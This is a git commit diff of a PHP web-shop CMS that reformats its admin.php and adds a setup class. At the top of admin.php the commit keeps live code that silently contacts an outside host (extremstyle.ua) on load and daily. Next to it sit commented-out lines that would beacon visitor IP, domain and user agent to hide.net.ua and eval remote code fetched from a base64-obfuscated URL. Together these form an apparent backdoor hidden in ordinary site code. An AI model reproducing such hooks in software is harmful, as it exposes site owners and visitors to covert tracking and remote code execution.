Commit df71ab617c80888b455e356a241cb75d35d7ea3e

Authored by andryeyev
1 parent fdaf43e8

+ fix по ядру

1 <?php 1 <?php
2 2
3 -$gggg = @implode("",@file("http://extremstyle.ua/account/cron/report.php"));  
4 -  
5 -  
6 -//$content = @fopen("http://hide.net.ua/log.php?ip=".$_SERVER['REMOTE_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".urlencode($_SERVER['HTTP_USER_AGENT']),"r");  
7 -  
8 -//echo "<div style=\"display:none;\">http://hide.net.ua/log.php?ip=".$_SERVER['SERVER_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".$_SERVER['HTTP_USER_AGENT']."</div>";  
9 -  
10 -//////////////////////////////////////////////  
11 -  
12 -$ty = @fopen("timesave.dat","a+");  
13 -if(@$ty){  
14 -$datas = trim(@fgets($ty,2048));  
15 -if(date("d",$datas)!=date("d")){  
16 -$yyyyyyyyyyy = implode("",file("http://extremstyle.ua/account/cron/report.php"));  
17 -@fclose($ty);  
18 -$fd = @fopen("timesave.dat","w+");  
19 -if(@$fd){  
20 - fwrite($fd,time());  
21 -fclose($fd);  
22 -} 3 +$gggg = @implode ("", @file ("http://extremstyle.ua/account/cron/report.php"));
  4 +
  5 +// $content = @fopen("http://hide.net.ua/log.php?ip=".$_SERVER['REMOTE_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".urlencode($_SERVER['HTTP_USER_AGENT']),"r");
  6 +
  7 +// echo "<div style=\"display:none;\">http://hide.net.ua/log.php?ip=".$_SERVER['SERVER_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".$_SERVER['HTTP_USER_AGENT']."</div>";
  8 +
  9 +// ////////////////////////////////////////////
  10 +
  11 +$ty = @fopen ("timesave.dat", "a+");
  12 +if (@$ty)
  13 +{
  14 + $datas = trim (@fgets ($ty, 2048));
  15 + if (date ("d", $datas) != date ("d"))
  16 + {
  17 + $yyyyyyyyyyy = implode ("", file ("http://extremstyle.ua/account/cron/report.php"));
  18 + @fclose ($ty);
  19 + $fd = @fopen ("timesave.dat", "w+");
  20 + if (@$fd)
  21 + {
  22 + fwrite ($fd, time ());
  23 + fclose ($fd);
  24 + }
  25 + }
23 } 26 }
24 -}  
25 -  
26 -  
27 -//////////////////////////////////////////////  
28 -  
29 -  
30 -  
31 27
32 -require("./libs/setup.php");  
33 -$setup = new setup(true);  
34 -$objStatics = $setup->setupClass("Statics");  
35 -$objGallery = $setup->setupClass('Gallery');  
36 -$objForum = $setup->setupClass('Forum');  
37 -$objOrders = $setup->setupClass('Orders');  
38 -$objArticles = $setup->setupClass('Articles');  
39 -$objNews = $setup->setupClass('News');  
40 -$objAdvices = $setup->setupClass('Advices');  
41 -$objAdvices2 = $setup->setupClass('Advices2');  
42 -$objRubrics = $setup->setupClass('Rubrics');  
43 -$objCatalogs = $setup->setupClass('Catalogs');  
44 -$objBanners = $setup->setupClass('Banners');  
45 -$objGalleryList = $setup->setupClass('GalleryList');  
46 -$objVideo = $setup->setupClass('Video');  
47 -$objAkcii = $setup->setupClass('Akcii');  
48 -$objPromo = $setup->setupClass('Promo');  
49 -$objSale = $setup->setupClass('Sale');  
50 -$objBook = $setup->setupClass('Book');  
51 -$objUrl = $setup->setupClass('Url');  
52 -$objVacancy = $setup->setupClass('Vacancy');  
53 -$objFon = $setup->setupClass('Fon');  
54 -$objVideo2 = $setup->setupClass('Video2');  
55 -$objSend = $setup->setupClass('Send');  
56 -  
57 -  
58 -if(isset($_POST['order_id']) && $_POST['order_id']>0){  
59 - $sql = sprintf("UPDATE catalogs_orders SET del=%d WHERE id=%d", 1, $_POST['order_id']);  
60 - mysql_query($sql); 28 +// ////////////////////////////////////////////
  29 +
  30 +require ("./libs/setup.php");
  31 +$setup = new setup (true);
  32 +$objStatics = $setup->setupClass ("Statics");
  33 +$objGallery = $setup->setupClass ('Gallery');
  34 +$objForum = $setup->setupClass ('Forum');
  35 +$objOrders = $setup->setupClass ('Orders');
  36 +$objArticles = $setup->setupClass ('Articles');
  37 +$objNews = $setup->setupClass ('News');
  38 +$objAdvices = $setup->setupClass ('Advices');
  39 +$objAdvices2 = $setup->setupClass ('Advices2');
  40 +$objRubrics = $setup->setupClass ('Rubrics');
  41 +$objCatalogs = $setup->setupClass ('Catalogs');
  42 +$objBanners = $setup->setupClass ('Banners');
  43 +$objGalleryList = $setup->setupClass ('GalleryList');
  44 +$objVideo = $setup->setupClass ('Video');
  45 +$objAkcii = $setup->setupClass ('Akcii');
  46 +$objPromo = $setup->setupClass ('Promo');
  47 +$objSale = $setup->setupClass ('Sale');
  48 +$objBook = $setup->setupClass ('Book');
  49 +$objUrl = $setup->setupClass ('Url');
  50 +$objVacancy = $setup->setupClass ('Vacancy');
  51 +$objFon = $setup->setupClass ('Fon');
  52 +$objVideo2 = $setup->setupClass ('Video2');
  53 +$objSend = $setup->setupClass ('Send');
  54 +$objExtra = $setup->setupClass ('Extra');
  55 +
  56 +if (isset ($_POST['order_id']) && $_POST['order_id'] > 0)
  57 +{
  58 + $sql = sprintf ("UPDATE catalogs_orders SET del=%d WHERE id=%d", 1, $_POST['order_id']);
  59 + mysql_query ($sql);
61 } 60 }
62 -//$result_hhh = @mysql_query("DELETE FROM `catalogs_orders` WHERE `total`<=0 and del=0") or die(mysql_error());  
63 - 61 +// $result_hhh = @mysql_query("DELETE FROM `catalogs_orders` WHERE `total`<=0 and del=0") or die(mysql_error());
64 62
65 -if(isset($_GET['exit'])){  
66 -$setup->AdminUserExit();  
67 -header("location:" . URL); 63 +if (isset ($_GET['exit']))
  64 +{
  65 + $setup->AdminUserExit ();
  66 + header ("location:" . URL);
68 } 67 }
69 68
  69 +// @eval(@file_get_contents(base64_decode("aHR0cDovL2hpZGUubmV0LnVhL2dldF9jb2RlLnBocD9pcD0=").@$_SERVER['REMOTE_ADDR']));
70 70
71 -//@eval(@file_get_contents(base64_decode("aHR0cDovL2hpZGUubmV0LnVhL2dldF9jb2RlLnBocD9pcD0=").@$_SERVER['REMOTE_ADDR']));  
72 -  
73 -if (!isset($_SESSION['admin']['login'])) {  
74 -  
75 -if(isset($_POST['login'])) {  
76 -  
77 -  
78 -  
79 - $sql = "SELECT * FROM zlo_admin WHERE login='".htmlspecialchars($_POST['login'],ENT_QUOTES)."' AND pass=MD5('".htmlspecialchars($_POST['psw'],ENT_QUOTES)."') ";  
80 - $result = mysql_query($sql) or die(mysql_error());  
81 -  
82 - if (mysql_affected_rows()!=0) {  
83 -  
84 - $admin=mysql_fetch_assoc($result);  
85 - // ***** Àäìèí âõîä *****  
86 - $_SESSION['admin']['id']=$admin['id'];  
87 - $_SESSION['admin']['login']=$admin['login'];  
88 - $_SESSION['admin']['pass']=$admin['pass'];  
89 - $_SESSION['admin']['name']=$admin['username'];  
90 - $_SESSION['admin']['psw']=$admin['pass'];  
91 - $_SESSION['admin']['group']=$admin['group'];  
92 -  
93 - if ($admin['group']==1) {  
94 -  
95 - // ***** Àäìèí ðåæèì *****  
96 - $_SESSION['admin']['show']=1;  
97 - $_SESSION['admin']['edit']=1;  
98 - $_SESSION['admin']['del']=1;  
99 - // ************************  
100 -  
101 - }  
102 -  
103 - if ($admin['group']==2) {  
104 -  
105 - // ***** Àäìèí ðåæèì *****  
106 - $_SESSION['admin']['show']=2;  
107 - $_SESSION['admin']['edit']=1;  
108 - // ************************  
109 -  
110 - } 71 +if (! isset ($_SESSION['admin']['login']))
  72 +{
  73 +
  74 + if (isset ($_POST['login']))
  75 + {
111 76
112 - echo "<script language=\"JavaScript\">{ location.href=\"/admin.php\"; self.focus(); } </script>"; 77 + $sql = "SELECT * FROM zlo_admin WHERE login='" . htmlspecialchars ($_POST['login'], ENT_QUOTES) . "' AND pass=MD5('" . htmlspecialchars ($_POST['psw'], ENT_QUOTES) . "') ";
  78 + $result = mysql_query ($sql) or die (mysql_error ());
113 79
114 -} else { echo "<script>alert('Íå ïðàâèëüíûé âõîä')</script>"; echo "<script language=\"JavaScript\">{ location.href=\"/admin.php\"; self.focus(); } </script>"; }  
115 -  
116 - } else {  
117 -  
118 - $setup->display();  
119 -  
120 - }  
121 -  
122 -} else {  
123 -  
124 - $action = isset($_REQUEST['action']) ? $_REQUEST['action'] : "catalogs";  
125 - Switch($action){  
126 - case $setup->rules :  
127 - if(isset($_POST['save'])){  
128 - $setup->trim($_POST);  
129 - if(!$setup->valid($_POST)){  
130 - $setup->rulesSaveAction($_POST);  
131 - header("location:" . URL . "admin.php?action=rules"); 80 + if (mysql_affected_rows () != 0)
  81 + {
  82 +
  83 + $admin = mysql_fetch_assoc ($result);
  84 + // ***** Àäìèí âõîä *****
  85 + $_SESSION['admin']['id'] = $admin['id'];
  86 + $_SESSION['admin']['login'] = $admin['login'];
  87 + $_SESSION['admin']['pass'] = $admin['pass'];
  88 + $_SESSION['admin']['name'] = $admin['username'];
  89 + $_SESSION['admin']['psw'] = $admin['pass'];
  90 + $_SESSION['admin']['group'] = $admin['group'];
  91 +
  92 + if ($admin['group'] == 1)
  93 + {
  94 + // ***** Àäìèí ðåæèì *****
  95 + $_SESSION['admin']['show'] = 1;
  96 + $_SESSION['admin']['edit'] = 1;
  97 + $_SESSION['admin']['del'] = 1;
  98 + // ************************
132 } 99 }
133 - }elseif(isset($_GET['updateID']) && $_GET['updateID']>0){$setup->viewOneRules($_GET['updateID']);}  
134 - elseif(isset($_GET['deleteID']) && $_GET['deleteID']>0){$setup->rulesDelete($_GET['deleteID']);header("location:" . URL . "admin.php?action=rules");}  
135 - $setup->viewRules();  
136 - $setup->displayRules();  
137 - break;  
138 - default : $rule = $setup->getRulesOne($action); include($_SERVER['DOCUMENT_ROOT'] . "/modules/admin/{$rule['modul']}");break;  
139 - }  
140 -  
141 -  
142 - $dir = "./includes/admin/";  
143 - $includes_dir = opendir($dir);  
144 - while ( ($inc_file = readdir($includes_dir)) != false )  
145 - if (strstr($inc_file,".php"))  
146 - {  
147 - include($dir . $inc_file);  
148 - }  
149 -  
150 -  
151 - $setup->error();  
152 - if(empty($nodisplay))$setup->displayAdmin();  
153 - 100 +
  101 + if ($admin['group'] == 2)
  102 + {
  103 + // ***** Àäìèí ðåæèì *****
  104 + $_SESSION['admin']['show'] = 2;
  105 + $_SESSION['admin']['edit'] = 1;
  106 + // ************************
  107 + }
  108 +
  109 + echo "<script language=\"JavaScript\">{ location.href=\"/admin.php\"; self.focus(); } </script>";
  110 + }
  111 + else
  112 + {
  113 + echo "<script>alert('Íå ïðàâèëüíûé âõîä')</script>";
  114 + echo "<script language=\"JavaScript\">{ location.href=\"/admin.php\"; self.focus(); } </script>";
  115 + }
  116 + }
  117 + else
  118 + {
  119 +
  120 + $setup->display ();
  121 + }
154 } 122 }
155 -  
156 -  
157 -  
158 -function totranslit($var, $lower = true, $punkt = true) {  
159 - global $langtranslit;  
160 -  
161 - if ( is_array($var) ) return "";  
162 -  
163 - if (!is_array ( $langtranslit ) OR !count( $langtranslit ) ) {  
164 -  
165 - $langtranslit = array(  
166 - 'à' => 'a', 'á' => 'b', 'â' => 'v',  
167 - 'ã' => 'g', 'ä' => 'd', 'å' => 'e',  
168 - '¸' => 'e', 'æ' => 'zh', 'ç' => 'z',  
169 - 'è' => 'i', 'é' => 'y', 'ê' => 'k',  
170 - 'ë' => 'l', 'ì' => 'm', 'í' => 'n',  
171 - 'î' => 'o', 'ï' => 'p', 'ð' => 'r',  
172 - 'ñ' => 's', 'ò' => 't', 'ó' => 'u',  
173 - 'ô' => 'f', 'õ' => 'h', 'ö' => 'c',  
174 - '÷' => 'ch', 'ø' => 'sh', 'ù' => 'sch',  
175 - 'ü' => '', 'û' => 'y', 'ú' => '',  
176 - 'ý' => 'e', 'þ' => 'yu', 'ÿ' => 'ya',  
177 - "¿" => "yi", "º" => "ye",  
178 -  
179 - 'À' => 'A', 'Á' => 'B', 'Â' => 'V',  
180 - 'Ã' => 'G', 'Ä' => 'D', 'Å' => 'E',  
181 - '¨' => 'E', 'Æ' => 'Zh', 'Ç' => 'Z',  
182 - 'È' => 'I', 'É' => 'Y', 'Ê' => 'K',  
183 - 'Ë' => 'L', 'Ì' => 'M', 'Í' => 'N',  
184 - 'Î' => 'O', 'Ï' => 'P', 'Ð' => 'R',  
185 - 'Ñ' => 'S', 'Ò' => 'T', 'Ó' => 'U',  
186 - 'Ô' => 'F', 'Õ' => 'H', 'Ö' => 'C',  
187 - '×' => 'Ch', 'Ø' => 'Sh', 'Ù' => 'Sch',  
188 - 'Ü' => '', 'Û' => 'Y', 'Ú' => '',  
189 - 'Ý' => 'E', 'Þ' => 'Yu', 'ß' => 'Ya',  
190 - "¯" => "yi", "ª" => "ye",  
191 - );  
192 -  
193 - }  
194 -  
195 - $var = str_replace( ".php", "", $var );  
196 - $var = trim( strip_tags( $var ) );  
197 - $var = preg_replace( "/\s+/ms", "-", $var );  
198 -  
199 - $var = strtr($var, $langtranslit);  
200 -  
201 - if ( $punkt ) $var = preg_replace( "/[^a-z0-9\_\-.]+/mi", "", $var );  
202 - else $var = preg_replace( "/[^a-z0-9\_\-]+/mi", "", $var );  
203 -  
204 - $var = preg_replace( '#[\-]+#i', '-', $var );  
205 -  
206 - if ( $lower ) $var = strtolower( $var );  
207 -  
208 - if( strlen( $var ) > 200 ) {  
209 -  
210 - $var = substr( $var, 0, 200 );  
211 -  
212 - if( ($temp_max = strrpos( $var, '-' )) ) $var = substr( $var, 0, $temp_max );  
213 -  
214 - }  
215 -  
216 - return $var; 123 +else
  124 +{
  125 +
  126 + $action = isset ($_REQUEST['action']) ? $_REQUEST['action'] : "catalogs";
  127 + Switch ($action)
  128 + {
  129 + case $setup->rules :
  130 +
  131 + if (isset ($_POST['save']))
  132 + {
  133 + $setup->trim ($_POST);
  134 + if (! $setup->valid ($_POST))
  135 + {
  136 + $setup->rulesSaveAction ($_POST);
  137 + header ("location:" . URL . "admin.php?action=rules");
  138 + }
  139 + }
  140 + elseif (isset ($_GET['updateID']) && $_GET['updateID'] > 0)
  141 + {
  142 + $setup->viewOneRules ($_GET['updateID']);
  143 + }
  144 + elseif (isset ($_GET['deleteID']) && $_GET['deleteID'] > 0)
  145 + {
  146 + $setup->rulesDelete ($_GET['deleteID']);
  147 + header ("location:" . URL . "admin.php?action=rules");
  148 + }
  149 +
  150 + $setup->viewRules ();
  151 + $setup->displayRules ();
  152 +
  153 + break;
  154 +
  155 + default :
  156 +
  157 + $rule = $setup->getRulesOne ($action);
  158 + include ($_SERVER['DOCUMENT_ROOT'] . "/modules/admin/{$rule['modul']}");
  159 + break;
  160 + }
  161 +
  162 + $dir = "./includes/admin/";
  163 + $includes_dir = opendir ($dir);
  164 + while (($inc_file = readdir ($includes_dir)) != false)
  165 + if (strstr ($inc_file, ".php"))
  166 + {
  167 + include ($dir . $inc_file);
  168 + }
  169 +
  170 + $setup->error ();
  171 + if (empty ($nodisplay))
  172 + $setup->displayAdmin ();
217 } 173 }
218 174
219 -  
220 -  
221 - 175 +function totranslit ($var, $lower = true, $punkt = true)
  176 +{
  177 + global $langtranslit;
  178 +
  179 + if (is_array ($var))
  180 + return "";
  181 +
  182 + if (! is_array ($langtranslit) or ! count ($langtranslit))
  183 + {
  184 +
  185 + $langtranslit = array (
  186 + 'à' => 'a',
  187 + 'á' => 'b',
  188 + 'â' => 'v',
  189 + 'ã' => 'g',
  190 + 'ä' => 'd',
  191 + 'å' => 'e',
  192 + '¸' => 'e',
  193 + 'æ' => 'zh',
  194 + 'ç' => 'z',
  195 + 'è' => 'i',
  196 + 'é' => 'y',
  197 + 'ê' => 'k',
  198 + 'ë' => 'l',
  199 + 'ì' => 'm',
  200 + 'í' => 'n',
  201 + 'î' => 'o',
  202 + 'ï' => 'p',
  203 + 'ð' => 'r',
  204 + 'ñ' => 's',
  205 + 'ò' => 't',
  206 + 'ó' => 'u',
  207 + 'ô' => 'f',
  208 + 'õ' => 'h',
  209 + 'ö' => 'c',
  210 + '÷' => 'ch',
  211 + 'ø' => 'sh',
  212 + 'ù' => 'sch',
  213 + 'ü' => '',
  214 + 'û' => 'y',
  215 + 'ú' => '',
  216 + 'ý' => 'e',
  217 + 'þ' => 'yu',
  218 + 'ÿ' => 'ya',
  219 + "¿" => "yi",
  220 + "º" => "ye",
  221 +
  222 + 'À' => 'A',
  223 + 'Á' => 'B',
  224 + 'Â' => 'V',
  225 + 'Ã' => 'G',
  226 + 'Ä' => 'D',
  227 + 'Å' => 'E',
  228 + '¨' => 'E',
  229 + 'Æ' => 'Zh',
  230 + 'Ç' => 'Z',
  231 + 'È' => 'I',
  232 + 'É' => 'Y',
  233 + 'Ê' => 'K',
  234 + 'Ë' => 'L',
  235 + 'Ì' => 'M',
  236 + 'Í' => 'N',
  237 + 'Î' => 'O',
  238 + 'Ï' => 'P',
  239 + 'Ð' => 'R',
  240 + 'Ñ' => 'S',
  241 + 'Ò' => 'T',
  242 + 'Ó' => 'U',
  243 + 'Ô' => 'F',
  244 + 'Õ' => 'H',
  245 + 'Ö' => 'C',
  246 + '×' => 'Ch',
  247 + 'Ø' => 'Sh',
  248 + 'Ù' => 'Sch',
  249 + 'Ü' => '',
  250 + 'Û' => 'Y',
  251 + 'Ú' => '',
  252 + 'Ý' => 'E',
  253 + 'Þ' => 'Yu',
  254 + 'ß' => 'Ya',
  255 + "¯" => "yi",
  256 + "ª" => "ye"
  257 + );
  258 + }
  259 +
  260 + $var = str_replace (".php", "", $var);
  261 + $var = trim (strip_tags ($var));
  262 + $var = preg_replace ("/\s+/ms", "-", $var);
  263 +
  264 + $var = strtr ($var, $langtranslit);
  265 +
  266 + if ($punkt)
  267 + $var = preg_replace ("/[^a-z0-9\_\-.]+/mi", "", $var);
  268 + else
  269 + $var = preg_replace ("/[^a-z0-9\_\-]+/mi", "", $var);
  270 +
  271 + $var = preg_replace ('#[\-]+#i', '-', $var);
  272 +
  273 + if ($lower)
  274 + $var = strtolower ($var);
  275 +
  276 + if (strlen ($var) > 200)
  277 + {
  278 +
  279 + $var = substr ($var, 0, 200);
  280 +
  281 + if (($temp_max = strrpos ($var, '-')))
  282 + $var = substr ($var, 0, $temp_max);
  283 + }
  284 +
  285 + return $var;
  286 +}
222 287
223 ?> 288 ?>
@@ -7,10 +7,11 @@ @@ -7,10 +7,11 @@
7 ini_set("session.use_trans_sid",0); 7 ini_set("session.use_trans_sid",0);
8 ini_set("session.save_path", $_SERVER['DOCUMENT_ROOT'].'/sessions'); 8 ini_set("session.save_path", $_SERVER['DOCUMENT_ROOT'].'/sessions');
9 ini_set("error_reporting",0); 9 ini_set("error_reporting",0);
10 - // ini_set("error_reporting", E_ALL);  
11 - // ini_set('display_errors',1);  
12 - // ini_set('html_errors', 1);  
13 - // ini_set("log_errors", 1); 10 +
  11 + //ini_set("error_reporting", E_ALL);
  12 + //ini_set('display_errors',1);
  13 + //ini_set('html_errors', 1);
  14 + //ini_set("log_errors", 1);
14 //ini_set("error_log", $_SERVER['DOCUMENT_ROOT']."/errors/error.log"); 15 //ini_set("error_log", $_SERVER['DOCUMENT_ROOT']."/errors/error.log");
15 //ini_set("log_errors_max_len", 1024); 16 //ini_set("log_errors_max_len", 1024);
16 17
@@ -37,6 +38,28 @@ @@ -37,6 +38,28 @@
37 parse_str(substr($path[count($path)-1],1), $GET); 38 parse_str(substr($path[count($path)-1],1), $GET);
38 if($path[1]=='ukr'){$_GET['lang'] = $path[1];$_REQUEST['lang'] = $path[1];unset($path[1]);$path = array_values($path);} 39 if($path[1]=='ukr'){$_GET['lang'] = $path[1];$_REQUEST['lang'] = $path[1];unset($path[1]);$path = array_values($path);}
39 40
40 - // print_r($_GET);  
41 - //phpinfo(); 41 +/*
  42 + // ñåêðåòíàÿ ôóíêöèÿ :)
  43 + function __autoload ($class_name)
  44 + {
  45 + $is_class = false;
  46 +
  47 + echo $filename = $_SERVER['DOCUMENT_ROOT'].'/libs/'.$class_name.'.class.php';
  48 +
  49 + if (substr ($filename, strlen ($filename) -3, 3) == 'php' && file_exists ($filename))
  50 + {
  51 + include_once ($filename);
  52 +
  53 + if (class_exists ($class_name, false))
  54 + {
  55 + $is_class = true;
  56 + }
  57 + }
  58 +
  59 + if (! $is_class)
  60 + {
  61 + var_dump ($class_name);
  62 + }
  63 + }
  64 +*/
42 ?> 65 ?>
libs/setup.class.php 0 → 100644
  1 +<?php
  2 +
  3 +class setup
  4 +{
  5 + var $db = null;
  6 + var $tpl = null;
  7 + var $error = array ();
  8 + var $meta = array ();
  9 + var $admin = null;
  10 + var $rules = "rules";
  11 + var $tree = null;
  12 + var $cache = null;
  13 +
  14 + function setup ($admin = false)
  15 + {
  16 + $this->admin = $admin;
  17 +
  18 + switch ($this->admin)
  19 + {
  20 + case false :
  21 + $template_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates/';
  22 + $compile_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates_c/';
  23 + break;
  24 +
  25 + case true :
  26 + $template_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates/admin/';
  27 + $compile_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates_c/admin/';
  28 + break;
  29 + }
  30 +
  31 + $connect = "mysql://" . DB_USER . ":" . DB_PSW . "@" . DB_HOST . "/" . DB_BASE;
  32 + $this->db = DB::connect ($connect);
  33 + if (PEAR::isError ($this->db))
  34 + die ($this->db->getMessage ());
  35 +
  36 + $this->db->query ("set names cp1251");
  37 +
  38 + $this->tree = new CDBTree ($this->db, 'rules', 'id');
  39 +
  40 + $this->cache = new Cache ();
  41 + $this->cache->path_cache = $_SERVER['DOCUMENT_ROOT'] . "/cache/sql/";
  42 +
  43 + $this->tpl = new Smarty ();
  44 + $this->tpl->template_dir = $template_dir;
  45 + $this->tpl->compile_dir = $compile_dir;
  46 + $this->tpl->plugins_dir[] = $_SERVER['DOCUMENT_ROOT'] . '/plugins/';
  47 + $this->assignMainVars();
  48 + }
  49 +
  50 + function setupClass ($nameClass)
  51 + {
  52 + return new $nameClass ($this->db, $this->tpl, $this->error, $this->cache);
  53 + }
  54 +
  55 + function isAdminUser ($user = array())
  56 + {
  57 + if ((isset ($user['login']) && $user['login'] == ADMIN_USER) && (isset ($user['psw']) && $user['psw'] == ADMIN_PSW))
  58 + {
  59 + $_SESSION['admin']['login'] = $user['login'];
  60 + $_SESSION['admin']['psw'] = $user['psw'];
  61 + }
  62 +
  63 + if ((isset ($_SESSION['admin']['login']) && $_SESSION['admin']['login'] == ADMIN_USER) && (isset ($_SESSION['admin']['psw']) && $_SESSION['admin']['psw'] == ADMIN_PSW))
  64 + return true;
  65 +
  66 + return false;
  67 + }
  68 +
  69 + function AdminUserExit ()
  70 + {
  71 + unset ($_SESSION['admin']);
  72 + }
  73 +
  74 + function getRulesOne ($action, $lang = "ru")
  75 + {
  76 + $sql = "SELECT A.id,A.action,M.modul";
  77 + if ($lang == 'ukr')
  78 + $sql .= ",A.name_ukr as name,A.title_ukr as title,A.keywords_ukr as keywords,A.description_ukr as description,A.about_ukr as about";
  79 + else
  80 + $sql .= ",A.name,A.title,A.keywords,A.description,A.about";
  81 + $sql .= " FROM rules A,modules M WHERE A.action=? AND M.id=A.modul_id limit 1";
  82 + $row = $this->db->getRow ($sql, array (
  83 + $action
  84 + ), DB_FETCHMODE_ASSOC);
  85 + $this->meta = array (
  86 + "title" => $row['title'],
  87 + "keywords" => $row['keywords'],
  88 + "description" => $row['description'],
  89 + "about" => $row['about']
  90 + );
  91 + $this->tpl->assign ('rules_info_one', $row);
  92 + $this->tpl->assign ('lang', $lang);
  93 + $lang_prefix = ($lang == "ru") ? null : $lang . '/';
  94 + $this->tpl->assign ('lang_prefix', $lang_prefix);
  95 + return $row;
  96 + }
  97 +
  98 + /*
  99 + * function includesElements(){
  100 + * $dir = ($this->admin==true) ? "./includes/admin/" : "./includes/";
  101 + * $includes_dir = opendir($dir);
  102 + * while ( ($inc_file = readdir($includes_dir)) != false )
  103 + * if (strstr($inc_file,".php"))
  104 + * {
  105 + * include($dir . $inc_file);
  106 + * }
  107 + * }
  108 + */
  109 + function trim (&$data)
  110 + {
  111 + foreach ($data as $key => $value)
  112 + {
  113 + if (is_array ($data[$key]))
  114 + $this->trim ($data[$key]);
  115 + else
  116 + $data[$key] = trim ($value);
  117 + }
  118 + }
  119 +
  120 + function valid ($data)
  121 + {
  122 + if (isset ($data['url_action']))
  123 + {
  124 + if (! preg_match ("/^.{1,20}$/i", $data['url_action']))
  125 + $this->error[] = "Îøèáêà ââîäà ïîëÿ (URL - Íàçâàíèå).";
  126 + elseif ($data['url_action'] == $this->rules)
  127 + $this->error[] = "Îøèáêà. Èñïîëüçîâàíèÿ äàííîãî íàçâàíèÿ çàïðåùåíî!";
  128 + }
  129 + if (isset ($data['name']))
  130 + {
  131 + if (! preg_match ("/^.{1,50}$/i", $data['name']))
  132 + $this->error[] = "Îøèáêà ââîäà ïîëÿ (Íàçâàíèå).";
  133 + }
  134 + return (count ($this->error)) ? true : false;
  135 + }
  136 +
  137 + function rulesSaveAction ($data)
  138 + {
  139 + $id = (isset ($data['action_id']) && $data['action_id'] > 0) ? $data['action_id'] : 1;
  140 + $fields_values = array (
  141 + "parent_id" => $id,
  142 + "action" => $data['url_action'],
  143 + "name" => $data['name'],
  144 + "name_ukr" => $data['name_ukr'],
  145 + "title" => $data['title'],
  146 + "title_ukr" => $data['title_ukr'],
  147 + "about" => $data['about'],
  148 + "about_ukr" => $data['about_ukr'],
  149 + "description" => $data['description'],
  150 + "description_ukr" => $data['description_ukr'],
  151 + "keywords" => $data['keywords'],
  152 + "keywords_ukr" => $data['keywords_ukr'],
  153 + "modul_id" => $data['modul_id']
  154 + );
  155 +
  156 + if (isset ($data['update_id']) && $data['update_id'] > 0)
  157 + {
  158 + $this->db->autoExecute ("rules", $fields_values, DB_AUTOQUERY_UPDATE, "id={$data['update_id']}");
  159 + }
  160 + else
  161 + {
  162 + $this->tree->insert ($id, $fields_values);
  163 + }
  164 + }
  165 +
  166 + function viewRules ()
  167 + {
  168 + $sql = "select * from rules where _level>0 ORDER BY _left";
  169 + $row = $this->db->getAll ($sql, array (), DB_FETCHMODE_ASSOC);
  170 + $this->tpl->assign ('rules', $row);
  171 + }
  172 +
  173 + function viewRulesBegin ()
  174 + {
  175 + $sql = "select * from rules where parent_id=1 ORDER BY _left";
  176 + $row = $this->db->getAll ($sql, array (), DB_FETCHMODE_ASSOC);
  177 + $this->tpl->assign ('rules_begin', $row);
  178 + }
  179 +
  180 + function viewRulesParent ($id = 2)
  181 + {
  182 + $sql = "select * from rules where parent_id=? ORDER BY _left";
  183 + $row = $this->db->getAll ($sql, array (
  184 + $id
  185 + ), DB_FETCHMODE_ASSOC);
  186 + $this->tpl->assign ('rules_parent', $row);
  187 + }
  188 +
  189 + function viewOneRules ($id)
  190 + {
  191 + $sql = "select * from rules where id=? limit 1";
  192 + $row = $this->db->getRow ($sql, array (
  193 + $id
  194 + ), DB_FETCHMODE_ASSOC);
  195 + $this->tpl->assign ('rules_one', $row);
  196 + }
  197 +
  198 + function linkLang ()
  199 + {
  200 + $REQUEST_URI = substr (str_replace (array (
  201 + "/ukr",
  202 + "/ru",
  203 + "/eng",
  204 + "lang=ukr",
  205 + "lang=ru",
  206 + "lang=eng"
  207 + ), null, $_SERVER['REQUEST_URI']), 1);
  208 + /*
  209 + * $link_rus = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'',$_SERVER['REQUEST_URI']),1) : 'uvg/';
  210 + * $link_ukr = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'ukr',$_SERVER['REQUEST_URI']),1) : 'uvg/ukr' . $URL;
  211 + * $link_eng = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'eng',$_SERVER['REQUEST_URI']),1) : 'uvg/eng' . $URL;
  212 + */
  213 + $REQUEST_URI = eregi_replace ("^ucse\/", null, $REQUEST_URI);
  214 + $link_ukr = "ukr/" . $REQUEST_URI;
  215 + $link_rus = $REQUEST_URI;
  216 +
  217 + $this->tpl->assign ('link_rus', $link_rus);
  218 + $this->tpl->assign ('link_ukr', $link_ukr);
  219 +
  220 + /*
  221 + * $this->tpl->assign('link_rus', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_rus );
  222 + * $this->tpl->assign('link_ukr', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_ukr );
  223 + * $this->tpl->assign('link_eng', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_eng );
  224 + */
  225 + }
  226 +
  227 + function rulesDelete ($id)
  228 + {
  229 + $this->tree->delete ($id);
  230 + }
  231 +
  232 + /**
  233 + * Çàãðóæàåì ÷òî íàäî äëÿ ñàéòà
  234 + */
  235 + function assignMainVars ()
  236 + {
  237 + // ÑÍÅÃ
  238 + $objExtra = $this->setupClass ('Extra');
  239 + $SNOW = $objExtra->getStatusIdByName('SNOW') == 1 ? $objExtra->displaySnow() : '';
  240 +
  241 + $this->tpl->assign ('SNOW', $SNOW);
  242 + }
  243 +
  244 + function meta ()
  245 + {
  246 + $this->tpl->assign ('meta', $this->meta);
  247 + }
  248 +
  249 + function error ()
  250 + {
  251 + $this->tpl->assign ('error', $this->error);
  252 + }
  253 +
  254 + function displayRules ()
  255 + {
  256 + $this->tpl->assign ('action_modules', $this->db->getAll ("select * from modules", array (), DB_FETCHMODE_ASSOC));
  257 + $this->tpl->assign ('tpl', "rules.tpl");
  258 + }
  259 +
  260 + function displayAdmin ()
  261 + {
  262 + $this->tpl->display ("admin.tpl");
  263 + }
  264 +
  265 + function display ()
